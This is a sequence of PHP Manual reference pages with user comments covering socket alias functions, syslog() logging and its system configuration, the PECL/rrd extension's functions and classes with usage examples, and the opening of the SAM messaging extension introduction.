  • « socket_get_status
  • socket_set_timeout »
  • PHP Manual
  • Network Functions
  • Alias of stream_set_blocking

socket_set_blocking

(PHP 4, PHP 5)

socket_set_blocking — Alias of stream_set_blocking()

Description

This function is an alias of: stream_set_blocking().

User Contributed Notes

steve at petabit dot com 19-Aug-2004 07:44
Versions of PHP below 4.3 will use socket_set_blocking() but will not understand stream_set_blocking().


Alias of stream_set_timeout

  • « socket_set_blocking
  • syslog »
  • PHP Manual
  • Network Functions
  • Alias of stream_set_timeout

socket_set_timeout

(PHP 4, PHP 5)

socket_set_timeout — Alias of stream_set_timeout()

Description

This function is an alias of: stream_set_timeout().

User Contributed Notes

There are no user contributed notes for this page.


Generate a system log message

  • « socket_set_timeout
  • RRD »
  • PHP Manual
  • Network Functions
  • Generate a system log message

syslog

(PHP 4, PHP 5)

syslog — Generate a system log message

Description

bool syslog ( int $priority , string $message )

syslog() generates a log message that will be distributed by the system logger.

For information on setting up a user defined log handler, see the syslog.conf (5) Unix manual page. More information on the syslog facilities and option can be found in the man pages for syslog (3) on Unix machines.

Parameters

priority

priority is a combination of the facility and the level. Possible values are:

syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message

message

The message to send, except that the two characters %m will be replaced by the error message string (strerror) corresponding to the present value of errno.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using syslog()

<?php
// open syslog, include the process ID and also send
// the log to standard error, and use a user defined
// logging mechanism
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// some code

if (authorized_client()) {
    // do something
} else {
    // unauthorized client!
    // log the attempt
    $access = date("Y/m/d H:i:s");
    syslog(LOG_WARNING, "Unauthorized client: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
}

closelog();
?>

Notes

On Windows NT, the syslog service is emulated using the Event Log.

Note:

Use of LOG_LOCAL0 through LOG_LOCAL7 for the facility parameter of openlog() is not available in Windows.

See Also

  • openlog() - Open connection to system logger
  • closelog() - Close connection to system logger

User Contributed Notes

Antonio Lobato 11-May-2010 10:57
A word of warning; if you use openlog() to ready syslog() and your Apache threads accept multiple requests, you *must* call closelog() if Apache's error log is configured to write to syslog.  Failure to do so will cause Apache's error log to write to whatever facility/ident was used in openlog.

Example, in httpd.conf you have:

ErrorLog syslog:local7

and in php you do:

<?php
openlog("myprogram", 0, LOG_LOCAL0);
syslog("My syslog message");
?>

From here on out, this Apache thread will write ErrorLog to local0 and under the process name "myprogram" and not httpd!  Calling closelog() will fix this.
james dot ellis at gmail dot com 03-Dec-2007 05:26
If anyone is wondering why their log messages are appearing in multiple log files, here is one answer applying to *nix systems:

If your syslog.conf looks like this (assuming you use LOG_LOCAL0 for web app logging) :

local0.info    /var/log/web/info.log

This will collect *all* messages of LOG_INFO level and higher, i.e everything except debug messages

Try this instead to ensure that only messages of the named log level go into the relevant log file:

local0.=info    /var/log/web/info.log

Additionally, you may like to add this to ensure your messages don't end up in generic log files like "messages"  "all" "syslog" and "debug":

local0.none    /var/log/messages
local0.none    /var/log/debug
etc

saves disk space among other things - more at "man syslog.conf"
helly at php dot net 13-Apr-2007 02:49
If you are using syslog-ng and want errors send to syslog then use ini setting "error_log = syslog" and add something like the following to your syslog-ng.conf:

destination php { file("/var/log/php.log" owner(root) group(devel) perm(0620)); };
log { source(src); filter(f_php); destination(php); };
adam _at_ lockdownnetworks _dot_ com 11-Apr-2007 03:32
Be aware when using syslog() that if you set the timezone of environment to be something other than the standard, syslog() may log the time to the log(s) with the wrong time zone information. For example:

<?php

openlog('mylog', LOG_PID | LOG_ODELAY,LOG_LOCAL4);

putenv('TZ=UTC');
syslog(LOG_INFO, 'UTC Log line');

putenv('TZ=US/Pacific');
syslog(LOG_INFO, 'US/Pacific Log line');

closelog();

?>

Viewing the /usr/log/messages log will display these two lines:

Apr 11 01:25:39 hostname mylog[1400]: UTC Log line
Apr 10 18:25:39 hostname mylog[1400]: US/Pacific Log line

Adam.
Torsten 23-Apr-2004 03:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it 06-Nov-2003 08:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com 29-Jul-2003 02:05
The message string sent to the log file is limited to 500 characters.
nospam \100 jraxis com (that's right!) 31-Mar-2002 05:32
This *does* actually goto the system log as configured in /etc/syslog.conf (such as /var/log/messages), it doesn't goto Apache's ErrorLog (such as /var/log/httpd/error_log). At least under my Debian Potato with Apache 1.3.23.

Use error_log() to be sure it gets into Apache's ErrorLog.
dpreece at paradise dot net dot nz 30-Jan-2002 01:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*   {tab}   /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss     0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl 22-Jan-2001 03:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net 20-Dec-2000 10:09
Example of where to look for syslog's output:   /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu 17-Feb-2000 09:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6       /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
bb at lb-data dot co dot at 08-Sep-1999 12:54
In Windows NT, use the following values of priority:
1 = error,
6 = info


RRDtool

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Procedural PECL/rrd example
    • OOP PECL/rrd example
  • RRD Functions
    • rrd_create — Creates rrd database file
    • rrd_error — Gets latest error message.
    • rrd_fetch — Fetch the data for graph as array.
    • rrd_first — Gets the timestamp of the first sample from rrd file.
    • rrd_graph — Creates image from a data.
    • rrd_info — Gets information about rrd file
    • rrd_last — Gets unix timestamp of the last sample.
    • rrd_lastupdate — Gets information about last updated data.
    • rrd_restore — Restores the RRD file from XML dump.
    • rrd_tune — Tunes some RRD database file header options.
    • rrd_update — Updates the RRD database.
    • rrd_version — Gets information about underlying rrdtool library
    • rrd_xport — Exports the information about RRD database.
    • rrdc_disconnect — Close any outstanding connection to rrd caching daemon
  • RRDCreator — The RRDCreator class
    • RRDCreator::addArchive — Adds RRA - archive of data values for each data source.
    • RRDCreator::addDataSource — Adds data source definition for RRD database.
    • RRDCreator::__construct — Creates new RRDCreator instance
    • RRDCreator::save — Saves the RRD database to a file
  • RRDGraph — The RRDGraph class
    • RRDGraph::__construct — Creates new RRDGraph instance
    • RRDGraph::save — Saves the result of query into image
    • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.
    • RRDGraph::setOptions — Sets the options for rrd graph export
  • RRDUpdater — The RRDUpdater class
    • RRDUpdater::__construct — Creates new RRDUpdater instance
    • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The PECL/rrd extension provides bindings to the RRDtool C library. RRDtool is the open source industry standard, high performance data logging and graphing system for time series data.

The RRDtool homepage is » http://www.mrtg.org/rrdtool/.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need to install librrd first to be able to use PECL/rrd. Most common option is using of librrd-dev package from your favourite linux distro. PECL/rrd is tested with librrd 1.4.3, older or newer versions might or might not work for you. PECL/rrd installation is tested with PHP 5.3.2 or newer.

Warning

Librrd and hence extension itself aren't mostly thread safe. There are many global and shared states in librrd. It can be dangerous use this extension in multi threaded environments like Apache2 mpm worker. If there are many parallel requests, one request can change some global librrd state of other runnig requests.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/rrd.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Procedural PECL/rrd example
  • OOP PECL/rrd example

User Contributed Notes

There are no user contributed notes for this page.


Procedural PECL/rrd example

Example #1 Procedural usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";

//create rrd file
rrd_create($rrdFile,
 array(
  "--start",920804400,
  "DS:speed:COUNTER:600:U:U",
  "RRA:AVERAGE:0.5:1:24",
  "RRA:AVERAGE:0.5:6:10"
  )
);

//update rrd file
rrd_update($rrdFile,
 array(
  "920804700:12345",
  "920805000:12357"
  )
);

//graph output
rrd_graph(dirname(__FILE__) . "/speed.png",
 array(
  "--start", "920804400",
  "--end", "920808000",
  "--vertical-label", "m/s",
  "DEF:myspeed=$rrdFile:speed:AVERAGE",
  "CDEF:realspeed=myspeed,1000,*",
  "LINE2:realspeed#FF0000"
 )
);
?>

User Contributed Notes

There are no user contributed notes for this page.


OOP PECL/rrd example

Example #1 OO usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";
$outputPngFile = dirname(__FILE__) . "/speed.png";

$creator = new RRDCreator($rrdFile, "now -10d", 500);
$creator->addDataSource("speed:COUNTER:600:U:U");
$creator->addArchive("AVERAGE:0.5:1:24");
$creator->addArchive("AVERAGE:0.5:6:10");
$creator->save();

$updater = new RRDUpdater($rrdFile);
$updater->update(array("speed" => "12345"), "920804700");
$updater->update(array("speed" => "12357"), "920805000");

$graphObj = new RRDGraph($outputPngFile);
$graphObj->setOptions(
    array(
        "--start" => "920804400",
        "--end" => 920808000,
        "--vertical-label" => "m/s",
        "DEF:myspeed=$rrdFile:speed:AVERAGE",
        "CDEF:realspeed=myspeed,1000,*",
        "LINE2:realspeed#FF0000"
    )
);
$graphObj->save();
?>

User Contributed Notes

There are no user contributed notes for this page.


RRD Functions

Table of Contents

  • rrd_create — Creates rrd database file
  • rrd_error — Gets latest error message.
  • rrd_fetch — Fetch the data for graph as array.
  • rrd_first — Gets the timestamp of the first sample from rrd file.
  • rrd_graph — Creates image from a data.
  • rrd_info — Gets information about rrd file
  • rrd_last — Gets unix timestamp of the last sample.
  • rrd_lastupdate — Gets information about last updated data.
  • rrd_restore — Restores the RRD file from XML dump.
  • rrd_tune — Tunes some RRD database file header options.
  • rrd_update — Updates the RRD database.
  • rrd_version — Gets information about underlying rrdtool library
  • rrd_xport — Exports the information about RRD database.
  • rrdc_disconnect — Close any outstanding connection to rrd caching daemon

User Contributed Notes

There are no user contributed notes for this page.


Creates rrd database file

  • « RRD Functions
  • rrd_error »
  • PHP Manual
  • RRD Functions
  • Creates rrd database file

rrd_create

(PECL rrd >= 0.9.0)

rrd_create — Creates rrd database file

Description

bool rrd_create ( string $filename , array $options )

Creates the rdd database file.

Parameters

filename

Filename for newly created rrd file.

options

Options for rrd create - list of strings. See man page of rrd create for whole list of options.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

daniel dot seif at castex dot de 29-Apr-2011 05:52
Note, that in previous versions, the interface was

bool rrd_create ( string $filename , array $options , integer numberOfOptions )


Gets latest error message.

  • « rrd_create
  • rrd_fetch »
  • PHP Manual
  • RRD Functions
  • Gets latest error message.

rrd_error

(PECL rrd >= 0.9.0)

rrd_error — Gets latest error message.

Description

string rrd_error ( void )

Returns latest global rrd error message.

Parameters

This function has no parameters.

Return Values

Latest error message.

User Contributed Notes

There are no user contributed notes for this page.


Fetch the data for graph as array.

  • « rrd_error
  • rrd_first »
  • PHP Manual
  • RRD Functions
  • Fetch the data for graph as array.

rrd_fetch

(PECL rrd >= 0.9.0)

rrd_fetch — Fetch the data for graph as array.

Description

array rrd_fetch ( string $filename , array $options )

Gets data for graph output from RRD database file as array. This function has same result as rrd_graph(), but fetched data are returned as array, no image file is created.

Parameters

filename

RRD database file name.

options

Array of options for resolution specification.

Return Values

Returns information about retrieved graph data.

User Contributed Notes

stephanecharette at gmail dot com 06-Sep-2013 02:50
For example, this worked for me:

<?php
$result = rrd_fetch( "mydata.rrd", array( "AVERAGE", "--resolution", "60", "--start", "-1d", "--end", "start+1h" ) );
?>

This will fetch all fields.  You then have to use something like this to get to a specified rrd field:

<?php
foreach ( $result["data"]["myfield"] as $key => $value )
{
    echo "At timestamp $key, the value for myfield is $value.\n";
}
?>
ernestas at versme dot net 21-Aug-2013 09:56
A few years ago, the extension was patched so that it would count options itself. But for me, it's buggy (it does not work with more than 3 arguments) and neither does work.


Gets the timestamp of the first sample from rrd file.

  • « rrd_fetch
  • rrd_graph »
  • PHP Manual
  • RRD Functions
  • Gets the timestamp of the first sample from rrd file.

rrd_first

(PECL rrd >= 0.9.0)

rrd_first — Gets the timestamp of the first sample from rrd file.

Description

int rrd_first ( string $file [, int $raaindex = 0 ] )

Returns the first data sample from the specified RRA of the RRD file.

Parameters

file

RRD database file name.

raaindex

The index number of the RRA that is to be examined. Default value is 0.

Return Values

Integer number of unix timestamp, FALSE if some error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Creates image from a data.

  • « rrd_first
  • rrd_info »
  • PHP Manual
  • RRD Functions
  • Creates image from a data.

rrd_graph

(PECL rrd >= 0.9.0)

rrd_graph — Creates image from a data.

Description

array rrd_graph ( string $filename , array $options )

Creates image for a particular data from RRD file.

Parameters

filename

The filename to output the graph to. This will generally end in either .png, .svg or .eps, depending on the format you want to output.

options

Options for generating image. See man page of rrd graph for all possible options. All options (data definitions, variable defintions, etc.) are allowed.

Return Values

Array with information about generated image is returned, FALSE when error occurs.

User Contributed Notes

Anonymous 31-Jul-2013 08:16
When I add

--font AXIS:8:

into $options,

I receive the next error:

PNG creation error: unknown option '--font AXIS:8:'

According to docs from rrdtool site the right syntax is:

[-n|--font FONTTAG:size:[font]]

This lets you customize which font to use for the various text elements on the RRD graphs. DEFAULT sets the default value for all elements, TITLE for the title, AXIS for the axis labels, UNIT for the vertical unit label, LEGEND for the graph legend, WATERMARK for the watermark on the edge of the graph.

Use Times for the title: --font TITLE:13:Times

Note that you need to quote the argument to --font if the font-name contains whitespace: --font "TITLE:13:Some Font"

If you do not give a font string you can modify just the size of the default font: --font TITLE:13:.
Dk 06-Jul-2013 02:55
You can get the latest RRD Error by simply doing print_r(rrd_error()) immediately after the rrd_graph() call.
Matt C 13-May-2012 05:38
Note; apache server requires write access to the folder in which the image is to be created otherwise no image file is produced, and (unhelpfully) no error is generated.


Gets information about rrd file

  • « rrd_graph
  • rrd_last »
  • PHP Manual
  • RRD Functions
  • Gets information about rrd file

rrd_info

(PECL rrd >= 0.9.0)

rrd_info — Gets information about rrd file

Description

array rrd_info ( string $filename )

Returns information about particular RRD database file.

Parameters

file

RRD database file name.

Return Values

Array with information about requsted RRD file, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Gets unix timestamp of the last sample.

  • « rrd_info
  • rrd_lastupdate »
  • PHP Manual
  • RRD Functions
  • Gets unix timestamp of the last sample.

rrd_last

(PECL rrd >= 0.9.0)

rrd_last — Gets unix timestamp of the last sample.

Description

int rrd_last ( string $filename )

Returns the UNIX timestamp of the most recent update of the RRD database.

Parameters

filename

RRD database file name.

Return Values

Integer as unix timestamp of the most recent data from the RRD database.

User Contributed Notes

There are no user contributed notes for this page.


Gets information about last updated data.

  • « rrd_last
  • rrd_restore »
  • PHP Manual
  • RRD Functions
  • Gets information about last updated data.

rrd_lastupdate

(PECL rrd >= 0.9.0)

rrd_lastupdate — Gets information about last updated data.

Description

array rrd_lastupdate ( string $filename )

Gets array of the UNIX timestamp and the values stored for each date in the most recent update of the RRD database file.

Parameters

file

RRD database file name.

Return Values

Array of information about last update, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Restores the RRD file from XML dump.

  • « rrd_lastupdate
  • rrd_tune »
  • PHP Manual
  • RRD Functions
  • Restores the RRD file from XML dump.

rrd_restore

(PECL rrd >= 0.9.0)

rrd_restore — Restores the RRD file from XML dump.

Description

bool rrd_restore ( string $xml_file , string $rrd_file [, array $options ] )

Restores the RRD file from the XML dump.

Parameters

xml_file

XML filename with the dump of the original RRD database file.

rrd_file

Restored RRD database file name.

options

Array of options for restoring. See man page for rrd restore.

Return Values

Returns TRUE on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Tunes some RRD database file header options.

  • « rrd_restore
  • rrd_update »
  • PHP Manual
  • RRD Functions
  • Tunes some RRD database file header options.

rrd_tune

(PECL rrd >= 0.9.0)

rrd_tune — Tunes some RRD database file header options.

Description

bool rrd_tune ( string $filename , array $options )

Change some options in the RRD dabase header file. E.g. renames the source for the data etc.

Parameters

filename

RRD database file name.

options

Options with RRD database file properties which will be changed. See rrd tune man page for details.

Return Values

Returns TRUE on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Updates the RRD database.

  • « rrd_tune
  • rrd_version »
  • PHP Manual
  • RRD Functions
  • Updates the RRD database.

rrd_update

(PECL rrd >= 0.9.0)

rrd_update — Updates the RRD database.

Description

bool rrd_update ( string $filename , array $options )

Updates the RRD database file. The input data is time interpolated according to the properties of the RRD database file.

Parameters

filename

RRD database file name. This database will be updated.

options

Options for updating the RRD database. This is list of strings. See man page of rrd update for whole list of options.

Return Values

Returns TRUE on success, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Gets information about underlying rrdtool library

  • « rrd_update
  • rrd_xport »
  • PHP Manual
  • RRD Functions
  • Gets information about underlying rrdtool library

rrd_version

(PECL rrd >= 1.0.0)

rrd_version — Gets information about underlying rrdtool library

Description

string rrd_version ( void )

Returns information about underlying rrdtool library.

Parameters

This function has no parameters.

Return Values

String with rrdtool version number e.g. "1.4.3".

User Contributed Notes

There are no user contributed notes for this page.


Exports the information about RRD database.

  • « rrd_version
  • rrdc_disconnect »
  • PHP Manual
  • RRD Functions
  • Exports the information about RRD database.

rrd_xport

(PECL rrd >= 0.9.0)

rrd_xport — Exports the information about RRD database.

Description

array rrd_xport ( array $options )

Exports the information about RRD database file. This data can be converted to XML file via user space PHP script and then restored back as RRD database file.

Parameters

options

Array of options for the export, see rrd xport man page.

Return Values

Array with information about RRD database file, FALSE when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Close any outstanding connection to rrd caching daemon

  • « rrd_xport
  • RRDCreator »
  • PHP Manual
  • RRD Functions
  • Close any outstanding connection to rrd caching daemon

rrdc_disconnect

(PECL rrd >= 1.1.2)

rrdc_disconnect — Close any outstanding connection to rrd caching daemon

Description

void rrdc_disconnect ( void )

Close any outstanding connection to rrd caching daemon.

This function is automatically called when the whole PHP process is terminated. It depends on used SAPI. For example, it's called automatically at the end of command line script.

It's up user whether he wants to call this function at the end of every request or otherwise.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The RRDCreator class

(PECL rrd >= 0.9.0)

Introduction

Class for creation of RRD database file.

Class synopsis

RRDCreator {
/* Methods */
public void addArchive ( string $description )
public void addDataSource ( string $description )
public __construct ( string $path [, string $startTime [, int $step = 0 ]] )
public bool save ( void )
}

Table of Contents

  • RRDCreator::addArchive — Adds RRA - archive of data values for each data source.
  • RRDCreator::addDataSource — Adds data source definition for RRD database.
  • RRDCreator::__construct — Creates new RRDCreator instance
  • RRDCreator::save — Saves the RRD database to a file

User Contributed Notes

There are no user contributed notes for this page.


Adds RRA - archive of data values for each data source.

  • « RRDCreator
  • RRDCreator::addDataSource »
  • PHP Manual
  • RRDCreator
  • Adds RRA - archive of data values for each data source.

RRDCreator::addArchive

(PECL rrd >= 0.9.0)

RRDCreator::addArchive — Adds RRA - archive of data values for each data source.

Description

public void RRDCreator::addArchive ( string $description )

Adds RRA definition by description of archive. Archive consists of a number of data values or statistics for each of the defined data-sources (DS). Data sources are defined by method RRDCreator::addDataSource(). You need call this method for each requested archive.

Parameters

description

Definition of archive - RRA. This has same format as RRA definition in rrd create command. See man page of rrd create for more details.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Adds data source definition for RRD database.

  • « RRDCreator::addArchive
  • RRDCreator::__construct »
  • PHP Manual
  • RRDCreator
  • Adds data source definition for RRD database.

RRDCreator::addDataSource

(PECL rrd >= 0.9.0)

RRDCreator::addDataSource — Adds data source definition for RRD database.

Description

public void RRDCreator::addDataSource ( string $description )

RRD can accept input from several data sources (DS), e.g incomming and outgoing traffic. This method adds data source by description. You need call this method for each data source.

Parameters

description

Definition of data source - DS. This has same format as DS definition in rrd create command. See man page of rrd create for more details.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDCreator instance

  • « RRDCreator::addDataSource
  • RRDCreator::save »
  • PHP Manual
  • RRDCreator
  • Creates new RRDCreator instance

RRDCreator::__construct

(PECL rrd >= 0.9.0)

RRDCreator::__construct — Creates new RRDCreator instance

Description

public RRDCreator::__construct ( string $path [, string $startTime [, int $step = 0 ]] )

Creates new RRDCreator instance.

Parameters

path

Path for newly created RRD database file.

startTime

Time for the first value in RRD database. Parameter supports all formats which are supported by rrd create call.

intstep

Base interval in seconds with which data will be fed into the RRD database.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database to a file

  • « RRDCreator::__construct
  • RRDGraph »
  • PHP Manual
  • RRDCreator
  • Saves the RRD database to a file

RRDCreator::save

(PECL rrd >= 0.9.0)

RRDCreator::save — Saves the RRD database to a file

Description

public bool RRDCreator::save ( void )

Saves the RRD database into file, which name is defined by RRDCreator::__construct().

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The RRDGraph class

(PECL rrd >= 0.9.0)

Introduction

Class for exporting data from RRD database to image file.

Class synopsis

RRDGraph {
/* Methods */
public __construct ( string $path )
public array save ( void )
public array saveVerbose ( void )
public void setOptions ( array $options )
}

Table of Contents

  • RRDGraph::__construct — Creates new RRDGraph instance
  • RRDGraph::save — Saves the result of query into image
  • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.
  • RRDGraph::setOptions — Sets the options for rrd graph export

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDGraph instance

  • « RRDGraph
  • RRDGraph::save »
  • PHP Manual
  • RRDGraph
  • Creates new RRDGraph instance

RRDGraph::__construct

(PECL rrd >= 0.9.0)

RRDGraph::__construct — Creates new RRDGraph instance

Description

public RRDGraph::__construct ( string $path )

Creates new RRDGraph instance. This instance is responsible for rendering the result of RRD database query into image.

Parameters

path

Full path for the newly created image.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Saves the result of query into image

  • « RRDGraph::__construct
  • RRDGraph::saveVerbose »
  • PHP Manual
  • RRDGraph
  • Saves the result of query into image

RRDGraph::save

(PECL rrd >= 0.9.0)

RRDGraph::save — Saves the result of query into image

Description

public array RRDGraph::save ( void )

Saves the result of RRD database query into image defined by RRDGraph::__construct().

Parameters

This function has no parameters.

Return Values

Array with information about generated image is returned, FALSE if error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database query into image and returns the verbose information about generated graph.

  • « RRDGraph::save
  • RRDGraph::setOptions »
  • PHP Manual
  • RRDGraph
  • Saves the RRD database query into image and returns the verbose information about generated graph.

RRDGraph::saveVerbose

(PECL rrd >= 0.9.0)

RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph.

Description

public array RRDGraph::saveVerbose ( void )

Saves the RRD database query into image file defined by method RRDGraph::__construct() and returns the verbose information about generated graph, if "-" is used as image filename, image data are also returned in result array.

Parameters

This function has no parameters.

Return Values

Array with detailed information about generated image is returned, optionally with image data, FALSE if error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Sets the options for rrd graph export

  • « RRDGraph::saveVerbose
  • RRDUpdater »
  • PHP Manual
  • RRDGraph
  • Sets the options for rrd graph export

RRDGraph::setOptions

(PECL rrd >= 0.9.0)

RRDGraph::setOptions — Sets the options for rrd graph export

Description

public void RRDGraph::setOptions ( array $options )

Parameters

options

List of options for the image generation from the RRD database file. It can be list of strings or list of strings with keys for better readability. Read the rrd graph man pages for list of available options.

Return Values

No value is returned.

Examples

Example #1 RRDGraph::setOptions() example

<?php
$graphObj->setOptions(array(
    "--start" => "920804400",
    "--end" => 920808000,
    "--vertical-label" => "m/s",
    "DEF:myspeed=$rrdFile:speed:AVERAGE",
    "CDEF:realspeed=myspeed,1000,*",
    "LINE2:realspeed#FF0000"
));
?>

Example #2 Set multiple color options

<?php
$graphObj->setOptions(array(
    "--start" => "920804400",
    "--end" => 920808000,
    "--vertical-label" => "m/s",
    "--color=BACK#00000000",
    "--color=GRID#00000000",
    "--color=MGRID#00000000",
    "DEF:myspeed=$rrdFile:speed:AVERAGE",
    "CDEF:realspeed=myspeed,1000,*",
    "LINE2:realspeed#FF0000"
));
?>

Don't use key value syntax for same rrd option. It looks more readable, but it doesn't work.

<?php
$graphObj->setOptions(array(
    "--color" => "BACK#00000000",
    "--color" => "GRID#00000000",
    "--color" => "MGRID#00000000"
));
?>

In nature of php it's same as

<?php
$graphObj->setOptions(array(
    "--color" => "MGRID#00000000"
));
?>

User Contributed Notes

There are no user contributed notes for this page.


The RRDUpdater class

(PECL rrd >= 0.9.0)

Introduction

Class for updating RDD database file.

Class synopsis

RRDUpdater {
/* Methods */
public __construct ( string $path )
public bool update ( array $values [, string $time = time() ] )
}

Table of Contents

  • RRDUpdater::__construct — Creates new RRDUpdater instance
  • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDUpdater instance

  • « RRDUpdater
  • RRDUpdater::update »
  • PHP Manual
  • RRDUpdater
  • Creates new RRDUpdater instance

RRDUpdater::__construct

(PECL rrd >= 0.9.0)

RRDUpdater::__construct — Creates new RRDUpdater instance

Description

public RRDUpdater::__construct ( string $path )

Creates new RRDUpdater instance. This instance is responsible for updating the RRD database file.

Parameters

path

Filesystem path for RRD database file, which will be updated.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Update the RRD database file

  • « RRDUpdater::__construct
  • SAM »
  • PHP Manual
  • RRDUpdater
  • Update the RRD database file

RRDUpdater::update

(PECL rrd >= 0.9.0)

RRDUpdater::update — Update the RRD database file

Description

public bool RRDUpdater::update ( array $values [, string $time = time() ] )

Updates the RRD file defined via RRDUpdater::__construct(). The file is updated with a specific values.

Parameters

values

Data for update. Key is data source name.

time

Time value for updating the RRD with a particulat data. Default value is current time.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws a Exception on error.

Examples

Example #1 RRDUpdater::update() examples

<?php
$updator = new RRDUpdater("speed.rrd");
//updates the data source "speed" with value "12411"
//for time defined by timestamp "920807700"
$updator->update(array("speed" => "12411"), "920807700");
?>

User Contributed Notes

There are no user contributed notes for this page.


Simple Asynchronous Messaging

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Connections
    • Messages
    • Messaging operations
    • Publish/Subscribe and subscriptions to topics
    • Error handling
  • SAM Functions
    • SAMConnection::commit — Commits (completes) the current unit of work.
    • SAMConnection::connect — Establishes a connection to a Messaging Server
    • SAMConnection::__construct — Creates a new connection to a Messaging Server
    • SAMConnection::disconnect — Disconnects from a Messaging Server
    • SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.
    • SAMConnection::error — Contains the text description of the last failed SAM operation.
    • SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server
    • SAMConnection::peek — Read a message from a queue without removing it from the queue.
    • SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.
    • SAMConnection::receive — Receive a message from a queue or subscription.
    • SAMConnection::remove — Remove a message from a queue.
    • SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.
    • SAMConnection::send — Send a message to a queue or publish an item to a topic.
    • SAMConnection::setDebug — Turn on or off additional debugging output.
    • SAMConnection::subscribe — Create a subscription to a specified topic.
    • SAMConnection::unsubscribe — Cancel a subscription to a specified topic.
    • SAMMessage::body — The body of the message.
    • SAMMessage::__construct — Creates a new Message object
    • SAMMessage::header — The header properties of the message.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension provides access to the functionality of messaging and queueing systems, such as the IBM WebSphere MQSeries family of products, from PHP scripts. The interface is designed to make it extremely simple to do the more commonly required tasks such as deliver simple text messages to queues while still allowing skilled users to do more complex messaging operations. For many users the complexities of setting up numerous options can be simply ignored.

